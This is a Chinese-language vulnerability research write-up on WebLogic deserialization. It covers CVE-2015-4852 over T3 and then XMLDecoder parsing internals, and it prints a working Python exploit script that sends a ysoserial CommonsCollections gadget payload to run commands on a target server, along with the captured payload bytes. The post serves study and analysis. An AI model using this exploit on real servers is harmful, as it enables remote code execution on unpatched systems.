Weblogic WebLogic是Oracle公司开发的领先企业级Java应用服务器,全面支持Java EE规范,涵盖EJB、JPA、JMS、JNDI等核心组件。它提供了高可用性、安全性和可扩展性的特性,包括集群、负载均衡、故障转移、用户身份验证、SSL/TLS加密等,确保应用程序在高并发和大规模环境下的稳定运行。WebLogic还具备强大的管理和监控功能,如WebLogic Admin Console和WLST脚本工具,同时支持与Oracle数据库、Oracle Coherence等进行无缝集成,简化了开发、调试和部署过程,为企业级应用提供一个强大的平台。
环境搭建 参考了CVE-2015-4852 WebLogic T3 反序列化分析 | Drunkbaby’s Blog (drun1baby.top)
使用奇安信 A-team 的脚本
脚本链接:https://github.com/QAX-A-Team/WeblogicEnvironment
下载对应版本的 JDK 和 Weblogic 然后分别放在 jdks 和 weblogics 中
JDK安装包下载地址:https://www.oracle.com/technetwork/java/javase/archive-139210.html
Weblogic安装包下载地址:https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html
由于CentOS Linux 8已于 2021年12月31日停止更新和维护,由于CentOS 团队从官方镜像中移除CentOS 8的所有包,所以在使用yum源安装或更新会报误。我们要修改Dockerfile文件修改一句代码
1 2 3 4 5 6 7 RUN yum -y install libnsl 修改成如下RUN sed -i 's|^mirrorlist=|#mirrorlist=|g' /etc/yum.repos.d/CentOS-* && \ sed -i 's|^#baseurl=http://mirror.centos.org|baseurl=http://mirrors.aliyun.com|g' /etc/yum.repos.d/CentOS-* && \ yum -y install libnsl
修改之后运行就不会报错了,也可以用vulhub的环境。
获得wlserver_10.3压缩包(由于当时环境搭建失败,又换了一次vulhub搭建,所以我的wlserver_10.3是从vulhub中搭建的环境下载的)
然后把wlserver_10.3文件取到另一个机子上(我weblogic环境在kali上,那么要把该文件夹取到物理机windows上),把wlserver_10.3/server/lib文件夹添加到库里
在idea配置远程调试环境。
T3协议相关 CVE-2015-4852 用CVE-2015-4852来学习T3协议的反序列化漏洞。
先附上攻击脚本,CommonsCollections是weblogic的基础包,可以选择cc链反序列化攻击。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import socketimport sysimport structimport reimport subprocessimport binasciiimport timedef get_payload1 (gadget, command ): JAR_FILE = './ysoserial.jar' popen = subprocess.Popen(['java' , '-jar' , JAR_FILE, gadget, command], stdout=subprocess.PIPE) return popen.stdout.read()def get_payload2 (path ): with open (path, "rb" ) as f: return f.read()def exp (host, port, payload ): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) handshake = "t3 10.3.1\nAS:255\nHL:19\nMS:10000000\n\n" .encode() sock.sendall(handshake) time.sleep(0.5 ) data = sock.recv(1024 ) pattern = re.compile (r"HELO:(.*).false" ) version = re.findall(pattern, data.decode()) if len (version) == 0 : print ("Not Weblogic" ) return print ("Weblogic {}" .format (version[0 ])) data_len = binascii.a2b_hex(b"00000000" ) t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006" ) flag = binascii.a2b_hex(b"fe010000" ) payload = data_len + t3header + flag + payload payload = struct.pack('>I' , len (payload)) + payload[4 :] sock.send(payload)if __name__ == "__main__" : host = "192.168.147.131" port = 7001 gadget = "CommonsCollections1" command = "whoami" payload = get_payload1(gadget, command) exp(host, port, payload)
用wireshark抓取整个攻击过程的流量包
T3协议是weblogic用于通信的协议,类似于RMI的JRMP,JRMP协议是rmi默认使用的协议,而T3协议是weblogic独有的协议,weblogic对RMI规范的实现使用了T3协议(rmi默认使用 JRMP协议)。T3协议被优化用于高性能的应用场景,特别是在大量并发连接和高负载的环境下。它通过减少网络开销和提高数据传输效率来提升整体性能。
T3协议结构分为分为请求头和请求体。
请求头就是第一个红色数据包,然后服务器会返回一些信息,其中包括了weblogic的版本。
而攻击的主体部分请求体,其数据包大致分为如下结构。图片来自z_zz_zzz文章
可以看到wireshark的攻击数据流确实是这样。
漏洞影响版本 Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3
漏洞分析 从数据包的两次发送分别来看
第一次交互 1 2 3 4 5 6 7 8 9 10 发送数据 t3 10.3 .1 AS: 255 HL: 19 MS: 10000000 接收数据HELO: 10.3 .6.0 .false AS: 2048 HL: 19
SocketMuxer#readReadySocketOnce
中会调用MuxableSocketDiscriminator#isMessageComplete
方法,遍历handlers,根据请求头来判断用哪一种协议的处理器handler。一共支持五种协议IIOP
、T3
、LDAP
、SNMP
、HTTP
,这里自然识别的是T3协议。因此把T3协议的处理器handler的索引赋值给claimedIndex
。
然后进入MuxableSocketDiscriminator#dispatch
,首先就是获取当前协议,然后用maybeFilter()
方法过滤一下,然后根据当前的 claimedIndex
,从 handlers
数组中获取对应的处理器,并调用 createSocket()
方法创建 MuxableSocket
对象。
然后判断消息是否发送完成,如果消息已经完整,则调用 dispatch()
方法进行分发。这是已经根据上面t3处理器得到处理t3协议MuxableSocket
一路跟到MuxableSocketT3#dispatch
中,这段代码的核心逻辑是通过 bootstrapped
标志来区分处理引导消息和正常消息的过程。首次调用时会进行引导消息的处理,之后的调用则直接将消息传递给连接对象。那么我们的请求头是属于引导消息,进入if之后,会读取引导信息,然后设置bootstrapped
属性为true,下一次发送的消息就是进入else继续dispatch
分发处理。
第二次交互 1 2 3 4 5 6 7 8 9 10 发送数据.....e............i... `....N.. ]... {_..Mz.x...M...mg.ysr.xr.xr.xp... .............pppppp... .............p.........sr.2sun.reflect.annotation.AnnotationInvocationHandlerU..... ~....L..memberValuest..Ljava/util/Map ;L..typet..Ljava/lang/Class ;xps}..... java.util.Mapxr..java.lang.reflect.Proxy. '. ..C....L..ht. %Ljava/lang/reflect/InvocationHandler;xpsq.~..sr. *org.apache.commons.collections.map.LazyMapn....y.....L..factoryt. ,Lorg/apache/commons/collections/Transformer;xpsr.:org.apache.commons.collections.functors.ChainedTransformer0... (z.....[. iTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A......L. iConstantt..Ljava/lang/Object;xpvr..java.lang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTransformer...k{|.8...[..iArgst..[Ljava/lang/Object;L..iMethodNamet..Ljava/lang/String;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s) l...xp....t. getRuntimeur..[Ljava.lang.Class;......Z....xp....t. getMethoduq.~......vr..java.lang.String...8z ;.B...xpvq. ~..sq. ~..uq. ~......puq. ~......t..invokeuq. ~......vr..java.lang.Object...........xpvq. ~..sq. ~..ur.. [Ljava.lang.String;..V... {G...xp....t..whoamit..execuq. ~......q. ~. loadFactorI. thresholdxp?@......w.........xxvr..java.lang.Override...........xpq. ~.: 无接收消息
断点可以达到我们第一次交互结束的else语句里面,处理的网络数据块chunk和抓取的数据包一样。
进入MsgAbbrevJVMConnection#dispatch
,里面会调用MsgAbbrevInputStream#init
方法初始化输入流。我们反序列化漏洞就是初始化输入流产生的问题。
首先调用super.init(chunk, 4)
,最终前4字节被skip掉。然后调用readHeader
方法读取头部信息
关于头部信息的含义,来自Weblogic安全漫谈(一)
cmd
字节应该是指代通信类型,可以从weblogic/rjvm/JVMMessage
类中的变量名看出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 >static final byte CMD_UNDEFINED = 0 >static final byte CMD_IDENTIFY_REQUEST = 1 >static final byte CMD_IDENTIFY_RESPONSE = 2 >static final byte CMD_REQUEST_CLOSE = 11 >static final byte CMD_IDENTIFY_REQUEST_CSHARP = 12 >static final byte CMD_IDENTIFY_RESPONSE_CSHARP = 13 >static final byte CMD_NO_ROUTE_IDENTIFY_REQUEST = 9 >static final byte CMD_TRANSLATED_IDENTIFY_RESPONSE = 10 >static final byte CMD_PEER_GONE = 3 >static final byte CMD_ONE_WAY = 4 >static final byte CMD_REQUEST = 5 >static final byte CMD_RESPONSE = 6 >static final byte CMD_ERROR_RESPONSE = 7 >static final byte CMD_INTERNAL = 8
没猜到QOS
字节的含义,类初始化时被赋为十进制101
,所以EXP同样用了这个值。
flags
字节从后面getFlag
方法可以看出用来从二进制位控制hasJVMIDs
、hasTX
、hasTrace
(类比Linux的rwx权限与777)。
responseId
字节用于标识通信顺序、invokeableId
字节用于标识被调用的方法,目前用不到置为初始值-1。
abbrevOffset
字节顾名思义是abbrev的偏移长度,表示Header
结尾处 相距 后面字节流MsgAbbrevs
部分的距离,在init
方法中会被skip掉,EXP中直接赋0表示没有额外的数据需要跳过。
第二次skip掉86个字节,加上前面4个,一共skip掉90个字节。
那么蓝色光标部分就被skip掉了,剩下的数据就是从fe010000开始,这正是weblogic反序列化数据标志,而后续aced0005又正是序列化数据的开头,接下来就是处理反序列化数据的内容了。
进入到MsgAbbrevJVMConnection#readMsgAbbrevs
方法中,会调用InboundMsgAbbrev#read
方法,
调用 var1.readLength()
方法,读取一个整数 var3
,表示后续需要处理的对象数量,使用 for
循环,遍历每个对象。在每次循环中,调用 var1.readLength()
方法,读取一个整数 var5
,表示当前对象的长度或缩略符索引。如果 var5
大于缩略符处理器的容量,则直接读取对象并获取其缩略符,然后将对象存入内部数据结构;否则,通过缩略符索引还原对象并存入内部数据结构。
要进入readObject分支,就需要var5 > var2.getCapacity()。var5固定等于256,var2.getCapacity()是第一次交互中发送的数据中AS的值,我们当时设置的是255,满足条件,可以进入readObject。
跟到ObjectInputStream#readOrdinaryObject
中,先进入readCLassDesc方法。
一路跟进至 InboundMsgAbbrev#resolveClass()
,这时var1使我们cc链的触发类。
跟进,这里会Class.forName加载这个类。
然后回到ObjectInputStream#readOrdinaryObject
中,把加载的AnnotationInvocationHandler类初始化一个出来。然后调用readSerialData方法还原。
反射调用AnnotationInvocationHandler#readObject,当然肯定不是这个AnnotationInvocationHandler对象了,因为这个时候里面的属性还都是null,有兴趣可以自己调试一下,由于第二天有早八先不调了,后面有精力再补,后续就是cc链了。然后到命令执行。
修复 官方修复如下,通过黑名单限制的。
XMLDecoder相关 XMLEncoder 和 XMLDecoder XMLEncoder 和 XMLDecoder 是 Java 的两个类,用于将 Java 对象序列化为 XML 格式以及从 XML 格式反序列化为 Java 对象。这两个类属于 java.beans
包,提供了一种将对象的状态以 XML 格式保存和恢复的机制,方便进行数据交换和持久化处理。
XMLEncoder XMLEncoder 类用于将 Java 对象及其状态序列化为 XML 格式。以下是使用 XMLEncoder 的基本步骤:
创建 XMLEncoder 对象 :通常使用一个 OutputStream(如 FileOutputStream)来创建 XMLEncoder 对象。
写入对象 :通过调用 writeObject
方法将对象写入到 XML 编码流中。
关闭编码器 :完成写入后,调用 close
方法关闭编码器并释放资源。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import java.beans.XMLEncoder;import java.io.FileOutputStream;import java.io.IOException;public class XMLEncoderExample { public static void main (String[] args) { try (FileOutputStream fos = new FileOutputStream ("object.xml" ); XMLEncoder encoder = new XMLEncoder (fos)) { MyObject obj = new MyObject ("example" , 123 ); encoder.writeObject(obj); } catch (IOException e) { e.printStackTrace(); } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public class MyObject { private String name; private int value; public MyObject () { } public MyObject (String name, int value) { this .name = name; this .value = value; } public String getName () { System.out.println("getName方法被调用" ); return name; } public void setName (String name) { System.out.println("setName方法被调用" ); this .name = name; } public int getValue () { System.out.println("getValue方法被调用" ); return value; } public void setValue (int value) { System.out.println("setValue方法被调用" ); this .value = value; } }
运行得到如下xml文件
1 2 3 4 5 6 7 8 9 10 11 12 <?xml version="1.0" encoding="UTF-8" ?> <java version ="1.8.0_65" class ="java.beans.XMLDecoder" > <object class ="MyObject" > <void property ="name" > <string > example</string > </void > <void property ="value" > <int > 123</int > </void > </object > </java >
同时控制台输出如下
1 2 3 4 5 6 7 getName 方法被调用getName 方法被调用 setName方法被调用 getValue方法被调用 getValue方法被调用 getValue方法被调用 setValue方法被调用
XMLDecoder XMLDecoder 类用于从 XML 格式反序列化回 Java 对象。以下是使用 XMLDecoder 的基本步骤:
创建 XMLDecoder 对象 :通常使用一个 InputStream(如 FileInputStream)来创建 XMLDecoder 对象。
读取对象 :通过调用 readObject
方法从 XML 编码流中读取对象。
关闭解码器 :完成读取后,调用 close
方法关闭解码器并释放资源。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import java.beans.XMLDecoder;import java.io.FileInputStream;import java.io.IOException;public class XMLDecoderExample { public static void main (String[] args) { try (FileInputStream fis = new FileInputStream ("object.xml" ); XMLDecoder decoder = new XMLDecoder (fis)) { MyObject obj = (MyObject) decoder.readObject(); System.out.println("Name: " + obj.getName()); System.out.println("Value: " + obj.getValue()); } catch (IOException e) { e.printStackTrace(); } } }
运行控制台输出如下
1 2 3 4 5 6 setName方法被调用 setValue方法被调用 getName方法被调用Name: example getValue方法被调用Value: 123
通过 XMLEncoder 和 XMLDecoder,可以方便地将 Java 对象的状态持久化为 XML 文件,并在需要时恢复这些对象。
XML 本身是一种非常灵活的标记语言,允许用户定义自己的标签和属性。因此,XML 没有预定义的 “所有” 属性标签。但是,在特定的 XML 架构或标准中,如 java.beans.XMLEncoder
和 java.beans.XMLDecoder
使用的 XML 格式,有一些特定的标签和属性是常用的。
常见的 XML 标签和属性 1. XML 声明 1 <?xml version="1.0" encoding="UTF-8" ?>
标签和属性:
version
: 指定 XML 版本。
encoding
: 指定编码方式。
2. 根元素 <java>
1 <java version ="1.8.0_241" class ="java.beans.XMLDecoder" >
标签和属性:
java
: 根元素,包含整个 XML 文件结构。
version
: 指定 Java 版本。
class
: 指定用于解析的 Java 类。
3. 对象元素 <object>
1 2 3 <object class ="com.example.MyObject" > </object >
标签和属性:
object
: 表示一个 Java 对象。
class
: 指定对象的类名。
4. 属性设置 <void>
1 2 3 <void property ="name" > <string > example</string > </void >
标签和属性:
void
: 用于调用方法(特别是 setter 方法)。
property
: 指定要设置的属性名称。
5. 基本数据类型
<string>
: 表示一个字符串值。
1 <string > example</string >
<int>
: 表示一个整数值。
<boolean>
: 表示一个布尔值。
<float>
: 表示一个浮点值。
<double>
: 表示一个双精度浮点值。
<long>
: 表示一个长整数值。
<short>
: 表示一个短整数值。
<char>
: 表示一个字符值。
6. 数组和集合
<array>
: 表示一个数组。
1 2 3 4 5 <array class ="int[]" > <int > 1</int > <int > 2</int > <int > 3</int > </array >
<list>
: 表示一个列表。
1 2 3 4 <list > <string > item1</string > <string > item2</string > </list >
<map>
: 表示一个映射(键值对)。
1 2 3 4 5 6 7 8 9 10 <map > <entry > <string > key1</string > <string > value1</string > </entry > <entry > <string > key2</string > <string > value2</string > </entry > </map >
7. 方法调用
8. Null 值
XMLDecoder解析流程分析(可不看) 参考了p1g3师傅的文章,但是文章在p牛的知识星球,并且没有找到公开文章链接。感兴趣可以加入p牛知识星球搜索Weblogic XMLDecoder。
用下面这段分析正常xml文件的解析流程
1 2 3 4 5 6 7 8 9 10 11 12 <?xml version="1.0" encoding="UTF-8" ?> <java version ="1.8.0_65" class ="java.beans.XMLDecoder" > <object class ="MyObject" > <void property ="name" > <string > example</string > </void > <void property ="value" > <int > 123</int > </void > </object > </java >
反序列化成对象的代码片段
1 2 3 4 5 6 7 8 9 10 11 public class XMLDecoderExample { public static void main (String[] args) { try (FileInputStream fis = new FileInputStream ("object.xml" ); XMLDecoder decoder = new XMLDecoder (fis)) { MyObject obj = (MyObject) decoder.readObject(); } catch (IOException e) { e.printStackTrace(); } } }
想获取xml文件输入流,然后作为参数初始化一个XMLDecoder对象,接着调用这个对象的readObject方法开始反序列化。其中调用parsingComplete()方法解析相关内容,如果返回结果为true,就会将array数组中的对象返回除了,也就是从xml文件中反序列化出来的对象,否则,返回null。
1 2 3 4 5 6 public Object readObject () { return (parsingComplete()) ? this .array[this .index++] : null ; }
进入parsingComplete()方法,有一些判断语句,我们看一下this(原代码中初始化的XMLDecoder)对象中的数据。
我们要反序列化的xml文件的文件输入流在this.input中。通过得到的数据,很容易判断,会一路来到AccessController.doPrivileged
语句中。 然后使用 AccessController.doPrivileged
在特权模式下执行解析操作。这段代码创建一个匿名 PrivilegedAction
实现,并在其中调用 XMLDecoder.this.handler.parse(XMLDecoder.this.input)
,启动解析过程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private boolean parsingComplete () { if (this .input == null ) { return false ; } if (this .array == null ) { if ((this .acc == null ) && (null != System.getSecurityManager())) { throw new SecurityException ("AccessControlContext is not set" ); } AccessController.doPrivileged(new PrivilegedAction <Void>() { public Void run () { XMLDecoder.this .handler.parse(XMLDecoder.this .input); return null ; } }, this .acc); this .array = this .handler.getObjects(); } return true ; }
来到DocumentHandler#parse
方法中,可以看到,这里主要是使用了 SAXParserFactory
创建 SAXParser
实例(Simple API for XML
解析器),并使用 parse
方法解析传入的 input
,而我们xml
相关数据就在input
中。我们跟进去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public void parse (final InputSource input) { if ((this .acc == null ) && (null != System.getSecurityManager())) { throw new SecurityException ("AccessControlContext is not set" ); } AccessControlContext stack = AccessController.getContext(); SharedSecrets.getJavaSecurityAccess().doIntersectionPrivilege(new PrivilegedAction <Void>() { public Void run () { try { SAXParserFactory.newInstance().newSAXParser().parse(input, DocumentHandler.this ); } catch (ParserConfigurationException exception) { handleException(exception); } catch (SAXException wrapper) { Exception exception = wrapper.getException(); if (exception == null ) { exception = wrapper; } handleException(exception); } catch (IOException exception) { handleException(exception); } return null ; } }, stack, this .acc); }
来到SAXParserImpl#parse
,首先,它检查输入源也就是我们前面提到的input
。接下来,如果提供了处理器 DefaultHandler
,则将其设置为 xmlReader
的内容处理器、实体解析器、错误处理器和 DTD 处理器,同时取消设置旧的文档处理器。
DefaultHandler
里面封装了很多标签对应的Handler
最后,使用 xmlReader
解析输入源input
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public void parse (InputSource is, DefaultHandler dh) throws SAXException, IOException { if (is == null ) { throw new IllegalArgumentException (); } if (dh != null ) { xmlReader.setContentHandler(dh); xmlReader.setEntityResolver(dh); xmlReader.setErrorHandler(dh); xmlReader.setDTDHandler(dh); xmlReader.setDocumentHandler(null ); } xmlReader.parse(is); }
进入xmlReader.parse(is)
,也就是重构的SAXParserImpl#parse
。这里if的判断不通过,我们不会进入if语句。直接进入super.parse(inputSource)
。
1 2 3 4 5 6 7 8 9 10 11 public void parse (InputSource inputSource) throws SAXException, IOException { if (fSAXParser != null && fSAXParser.fSchemaValidator != null ) { if (fSAXParser.fSchemaValidationManager != null ) { fSAXParser.fSchemaValidationManager.reset(); fSAXParser.fUnparsedEntityHandler.reset(); } resetSchemaValidator(); } super .parse(inputSource); }
来到AbstractSAXParser#parse
,首先创建一个新的 XMLInputSource
对象,传入 InputSource
的公共标识符(Public ID)和系统标识符(System ID),第三个参数为 null
,表示没有基础 URI。然后从 InputSource
获取字节流、字符流和编码信息,并设置到 XMLInputSource
对象中。这样可以确保所有必要的流和编码信息都被传递给 XMLInputSource
。随后,接着调用重构的parse
方法解析刚刚创建xmlInputSource
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public void parse (InputSource inputSource) throws SAXException, IOException { try { XMLInputSource xmlInputSource = new XMLInputSource (inputSource.getPublicId(), inputSource.getSystemId(), null ); xmlInputSource.setByteStream(inputSource.getByteStream()); xmlInputSource.setCharacterStream(inputSource.getCharacterStream()); xmlInputSource.setEncoding(inputSource.getEncoding()); parse(xmlInputSource); } ...... }
这里重构的parse方法,实现是在父类的父类中,即XMLParse#parse
。这里初始化了一些安全相关的配置,并重置了解析器的状态。然后调用配置对象的解析方法XML11Configuration#parse
,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public void parse (XMLInputSource inputSource) throws XNIException, IOException { if (securityManager == null ) { securityManager = new XMLSecurityManager (true ); fConfiguration.setProperty(Constants.SECURITY_MANAGER, securityManager); } if (securityPropertyManager == null ) { securityPropertyManager = new XMLSecurityPropertyManager (); fConfiguration.setProperty(Constants.XML_SECURITY_PROPERTY_MANAGER, securityPropertyManager); } reset(); fConfiguration.parse(inputSource); }
来到XML11Configuration#parse
,调用 setInputSource(source)
方法设置输入源,并调用 parse(true)
方法进行实际的解析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public void parse (XMLInputSource source) throws XNIException, IOException { if (fParseInProgress) { throw new XNIException ("FWK005 parse may not be called while parsing." ); } fParseInProgress = true ; try { setInputSource(source); parse(true ); } ...... }
到重构的XML11Configuration#parse
中,方法首先检查 fInputSource
是否为非空,如果是,则重置验证管理器和版本检测器,更新配置状态,并根据文档的版本初始化相关的解析组件。具体来说,如果是 XML 1.1 版本,则初始化 XML 1.1 组件并配置相关管道,否则配置默认管道。接着调用 fVersionDetector.startDocumentParsing
方法开始解析文档,并将 fInputSource
设为 null
。在后续的 try
块中,调用 fCurrentScanner.scanDocument(complete)
方法进行实际的文档扫描,并返回扫描结果。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public boolean parse (boolean complete) throws XNIException, IOException { if (fInputSource != null ) { try { fValidationManager.reset(); fVersionDetector.reset(this ); fConfigUpdated = true ; resetCommon(); short version = fVersionDetector.determineDocVersion(fInputSource); if (version == Constants.XML_VERSION_1_1) { initXML11Components(); configureXML11Pipeline(); resetXML11(); } else { configurePipeline(); reset(); } fConfigUpdated = false ; fVersionDetector.startDocumentParsing((XMLEntityHandler) fCurrentScanner, version); fInputSource = null ; } ...... } try { return fCurrentScanner.scanDocument(complete); } ...... }
我们跟进fCurrentScanner.scanDocument(complete)
,也就是XMLDocumentFragmentScannerImpl#scanDocument
这段代码通过一个事件驱动的机制来解析XML内容,并调用相应的回调方法来处理不同类型的XML事件。具体来说,这个方法通过一个事件循环来获取和处理XML事件,具体的解析工作在 next()
方法中完成,scanDocument
方法用于处理这些解析后的事件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 public boolean scanDocument (boolean complete) throws IOException, XNIException { fEntityManager.setEntityHandler(this ); int event = next(); do { switch (event) { case XMLStreamConstants.START_DOCUMENT : break ; case XMLStreamConstants.START_ELEMENT : break ; case XMLStreamConstants.CHARACTERS : fDocumentHandler.characters(getCharacterData(),null ); break ; case XMLStreamConstants.SPACE: break ; case XMLStreamConstants.ENTITY_REFERENCE : break ; case XMLStreamConstants.PROCESSING_INSTRUCTION : fDocumentHandler.processingInstruction(getPITarget(),getPIData(),null ); break ; case XMLStreamConstants.COMMENT : fDocumentHandler.comment(getCharacterData(),null ); break ; case XMLStreamConstants.DTD : break ; case XMLStreamConstants.CDATA: fDocumentHandler.startCDATA(null ); fDocumentHandler.characters(getCharacterData(),null ); fDocumentHandler.endCDATA(null ); break ; case XMLStreamConstants.NOTATION_DECLARATION : break ; case XMLStreamConstants.ENTITY_DECLARATION : break ; case XMLStreamConstants.NAMESPACE : break ; case XMLStreamConstants.ATTRIBUTE : break ; case XMLStreamConstants.END_ELEMENT : break ; default : throw new InternalError ("processing event: " + event); } event = next(); } while (event!=XMLStreamConstants.END_DOCUMENT && complete); if (event == XMLStreamConstants.END_DOCUMENT) { fDocumentHandler.endDocument(null ); return false ; } return true ; }
跟进next()
方法到XMLDocumentScannerImpl$XMLDeclDriver#next()
,首先无论文档中是否有XML声明,下一个驱动器设置为fPrologDriver
,因此下次进入fDriver.next()
方法就在其他类中。即PrologDriver
中的next
方法。从当前内部类的类名可以大致理解,这是用来扫xml文档相关内容的,也就是xml文件第一句<?xml version="1.0" encoding="UTF-8"?>
,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 public int next () throws IOException, XNIException { return fDriver.next(); } public int next () throws IOException, XNIException { if (DEBUG_NEXT){ System.out.println("NOW IN XMLDeclDriver" ); } setScannerState(SCANNER_STATE_PROLOG); setDriver(fPrologDriver); try { if (fEntityScanner.skipString(xmlDecl)) { fMarkupDepth++; if (XMLChar.isName(fEntityScanner.peekChar())) { fStringBuffer.clear(); fStringBuffer.append("xml" ); while (XMLChar.isName(fEntityScanner.peekChar())) { fStringBuffer.append((char )fEntityScanner.scanChar()); } String target = fSymbolTable.addSymbol(fStringBuffer.ch, fStringBuffer.offset, fStringBuffer.length); fContentBuffer.clear() ; scanPIData(target, fContentBuffer); fEntityManager.fCurrentEntity.mayReadChunks = true ; return XMLEvent.PROCESSING_INSTRUCTION ; } else { scanXMLDeclOrTextDecl(false ); fEntityManager.fCurrentEntity.mayReadChunks = true ; return XMLEvent.START_DOCUMENT; } } else { fEntityManager.fCurrentEntity.mayReadChunks = true ; return XMLEvent.START_DOCUMENT; } } catch (EOFException e) { reportFatalError("PrematureEOF" , null ); return -1 ; } }
然后回到scanDocument
方法做后续处理,这里没有处理直接break
跳出switch-catch
语句然后调用下一个驱动器PrologDriver
的next
方法。
这段代码比较长,我们根据处于的状态拆出对应的case代码来看。xml头在上一步已经解析了,所以这里我们要解析的部分是
1 2 3 4 5 6 7 8 9 10 <java version ="1.8.0_65" class ="java.beans.XMLDecoder" > <object class ="MyObject" > <void property ="name" > <string > example</string > </void > <void property ="value" > <int > 123</int > </void > </object > </java >
这个解析过程是通过状态机完成的,每个状态代表解析过程中的一个特定阶段。我们来看代码是如何解析的。
首先,解析器在初始化时处于 SCANNER_STATE_PROLOG
状态。
1 2 3 4 5 6 7 8 9 10 11 case SCANNER_STATE_PROLOG: { fEntityScanner.skipSpaces(); if (fEntityScanner.skipChar('<' )) { setScannerState(SCANNER_STATE_START_OF_MARKUP); } else if (fEntityScanner.skipChar('&' )) { setScannerState(SCANNER_STATE_REFERENCE); } else { setScannerState(SCANNER_STATE_CONTENT); } break ; }
跳过空白字符后,遇到 <
,切换到 SCANNER_STATE_START_OF_MARKUP
状态。
接下来,进入 SCANNER_STATE_START_OF_MARKUP
状态:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 case SCANNER_STATE_START_OF_MARKUP: { fMarkupDepth++; if (fEntityScanner.skipChar('?' )) { setScannerState(SCANNER_STATE_PI); } else if (fEntityScanner.skipChar('!' )) { if (fEntityScanner.skipChar('-' )) { if (!fEntityScanner.skipChar('-' )) { reportFatalError("InvalidCommentStart" , null ); } setScannerState(SCANNER_STATE_COMMENT); } else if (fEntityScanner.skipString(DOCTYPE)) { setScannerState(SCANNER_STATE_DOCTYPE); Entity entity = fEntityScanner.getCurrentEntity(); if (entity instanceof Entity.ScannedEntity){ fStartPos=((Entity.ScannedEntity)entity).position; } fReadingDTD=true ; if (fDTDDecl == null ) fDTDDecl = new XMLStringBuffer (); fDTDDecl.append("<!DOCTYPE" ); } else { reportFatalError("MarkupNotRecognizedInProlog" , null ); } } else if (XMLChar.isNameStart(fEntityScanner.peekChar())) { setScannerState(SCANNER_STATE_ROOT_ELEMENT); setDriver(fContentDriver); return fContentDriver.next(); } else { reportFatalError("MarkupNotRecognizedInProlog" , null ); } break ; }
fMarkupDepth
计数器(标签深度)增加。
检查是否遇到 ?
,如果是,则切换到 SCANNER_STATE_PI
状态。
检查是否遇到 !
,处理注释 (<!--
) 或文档类型声明 (<!DOCTYPE
)。
检查是否为有效的XML名称字符(例如 <object>
),如果是,则切换到 SCANNER_STATE_ROOT_ELEMENT
状态,并将驱动器切换为 fContentDriver
。此时调用 return fContentDriver.next();
。
同样由于400行代码过长,只取需要的case块代码。
首先进入的SCANNER_STATE_ROOT_ELEMENT状态对应的处理逻辑。用scanRootElementHook()
方法扫描并处理 XML 文档的根元素。我们跟进去。然后调用了scanStartElement()方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 case SCANNER_STATE_ROOT_ELEMENT: { if (scanRootElementHook()) { fEmptyElement = true ; return XMLEvent.START_ELEMENT; } setScannerState(SCANNER_STATE_CONTENT); return XMLEvent.START_ELEMENT ; }protected boolean scanRootElementHook () throws IOException, XNIException { if (scanStartElement()) { setScannerState(SCANNER_STATE_TRAILING_MISC); setDriver(fTrailingMiscDriver); return true ; } return false ; }
因为 <java>
不是空元素,调用 fDocumentHandler.startElement(fElementQName, fAttributes, null)
通知文档处理器。
